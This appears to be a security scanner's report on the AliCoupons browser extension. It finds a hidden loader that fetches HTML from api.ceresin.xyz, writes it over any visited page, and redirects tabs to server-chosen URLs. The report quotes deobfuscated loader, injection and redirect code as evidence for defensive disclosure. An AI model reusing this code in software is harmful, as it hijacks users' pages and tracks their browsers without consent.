Is AliCoupons - Automatic Coupon Finder safe?
AliCoupons fetches remote HTML from api.ceresin.xyz and writes it into pages you visit on any website.
A loader hidden in the background script contacts api.ceresin.xyz on tab loads, then fetches HTML from a URL the server names and replaces the current page with it, so remote code runs in the visited site's origin. It can also redirect new or active tabs to server-supplied URLs. Each check-in sends a persistent random ID, the extension id and its version.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension fetches remote HTML and rewrites the page you are viewing on any site
Code analysis shows a loader that, on server instruction, downloads HTML from a remote URL and replaces the current page with it.
It runs on every http/https site.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You open any website over http or https.
The extension can download HTML from a server-chosen address and write it over the page you are viewing.
Whether it does so depends on a remote config that we did not see activated.
- Random install ID3f9c2a7e-51b4-4d08-9a6e-c71b0e8d2f45
A permanent random ID that lets the server recognise this browser on every later request.
- Extension IDchgmdffhloijlalpddecjkiplikffhmf
Tells the server which extension build is reporting in.
- Extension version0.1.3
Lets the server pick instructions for this particular version.
Loader in the service worker, and the page-rewrite listener in the content script
Remote config fetch and storage
scripts/background.js (deobfuscated) }), n = t => null == t || void 0 === t, s = () => { fetch("https://api.ceresin.xyz/npm/chart.js/dist/config").then(t => t.json()).then(t => { e("settingsObject", t) }).catch(t => { e("settingsObject", null) })Handler that fetches arcProps and forwards it to the tab
scripts/background.js (deobfuscated) }, h = (t, e, s) => { let a = t.id; if (!n(e) && e.hasEvent && !n(e.arcProps)) { if (e.pointStyle) o(e, () => { fetch(e.arcProps).then(t => t.text()).then(t => { chrome.tabs.sendMessage(a, { layoutItem: t }, function(t) {}) }).catch(t => {}) }); else { if (Date.now(), t.url === e.arcProps) return; o(e, () => { chrome.tabs.update(a, { url: e.arcProps }) }) } }Event listeners wiring tab loads and page messages
scripts/background.js (deobfuscated) chrome.tabs.onCreated.addListener(t => { x(t.id) }), chrome.tabs.onUpdated.addListener((t, e, n) => { "complete" === e.status && d(t) }), chrome.runtime.onMessage.addListener(function(e, n, s) { t("jsEvent").then(t => { h(n.tab, t, s) }) })};Content script
scripts/content.jschrome.runtime.sendMessage({text:"content script is alive"},(e,n,t)=>{});const undefinedOrNull=e=>null==e||void 0===e;chrome.runtime.onMessage.addListener(function(e,n,t){let i=e.layoutItem;undefinedOrNull(i)||(document.open(),document.write(i),document.close(),t({result:"ok"}))});- api.ceresin.xyz
Serves the config JSON that names the jsEvents URL, polling intervals and key names.
- jsEvents URL from config
Receives the install ID POST and returns the directive; host is not fixed in the code.
- arcProps URL from config
Source of the HTML written into the visited page; host is not fixed in the code.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extension can navigate your tabs to a remotely chosen URL on any website
Code analysis shows the extension can redirect a newly opened or currently open tab to a URL supplied by a remote server.
The code limits this with a per-install check.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You open a new tab or load any http or https page.
The extension can send that tab to an address chosen by a remote server instead of where you were going.
This only happens when the server reply enables it and the shared check passes.
- Random install ID3f9c2a7e-51b4-4d08-9a6e-c71b0e8d2f45
A permanent random ID that lets the server recognise this browser on every later request.
- Extension IDchgmdffhloijlalpddecjkiplikffhmf
Tells the server which extension build is reporting in.
- Extension version0.1.3
Lets the server pick instructions for this particular version.
Redirect paths in the service worker
Check that gates each action
scripts/background.js (deobfuscated) }, o = (s, a) => { n(s) || n(s.getSharedOptions) || t("sharedOptions").then(t => { "shared" !== t && r(s.getSharedOptions).then(t => t.json()).then(t => { n(t) || n(t.check) || ("not shared" === t.check ? a() : "shared" === t.check && e("sharedOptions", "shared")) }) })Navigation on message from the content script
scripts/background.js (deobfuscated) }, h = (t, e, s) => { let a = t.id; if (!n(e) && e.hasEvent && !n(e.arcProps)) { if (e.pointStyle) o(e, () => { fetch(e.arcProps).then(t => t.text()).then(t => { chrome.tabs.sendMessage(a, { layoutItem: t }, function(t) {}) }).catch(t => {}) }); else { if (Date.now(), t.url === e.arcProps) return; o(e, () => { chrome.tabs.update(a, { url: e.arcProps }) }) } }Navigation when a tab is created
scripts/background.js (deobfuscated) }, x = e => { t("jsEvent").then(t => { !n(t) && t.hasEvent && (n(t.coreScaleOptions) || o(t, () => { chrome.tabs.update(e, { url: t.coreScaleOptions }) })) })Event listeners
scripts/background.js (deobfuscated) chrome.tabs.onCreated.addListener(t => { x(t.id) }), chrome.tabs.onUpdated.addListener((t, e, n) => { "complete" === e.status && d(t) }), chrome.runtime.onMessage.addListener(function(e, n, s) { t("jsEvent").then(t => { h(n.tab, t, s) }) })};- api.ceresin.xyz
Serves the config JSON that names the jsEvents URL and polling intervals.
- jsEvents URL from config
Returns hasEvent, coreScaleOptions and arcProps values; host is not fixed in the code.
- getSharedOptions URL from config
Answers whether this install has already been redirected; host is not fixed in the code.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 0.1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Show you desktop notifications
notifications
Where it sends data
Destinations our analysis observed AliCoupons - Automatic Coupon Finder contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.ceresin.xyz
AliCoupons - Automatic Coupon Finder sends data to api.ceresin.xyz. No other extension we have analysed sends data here.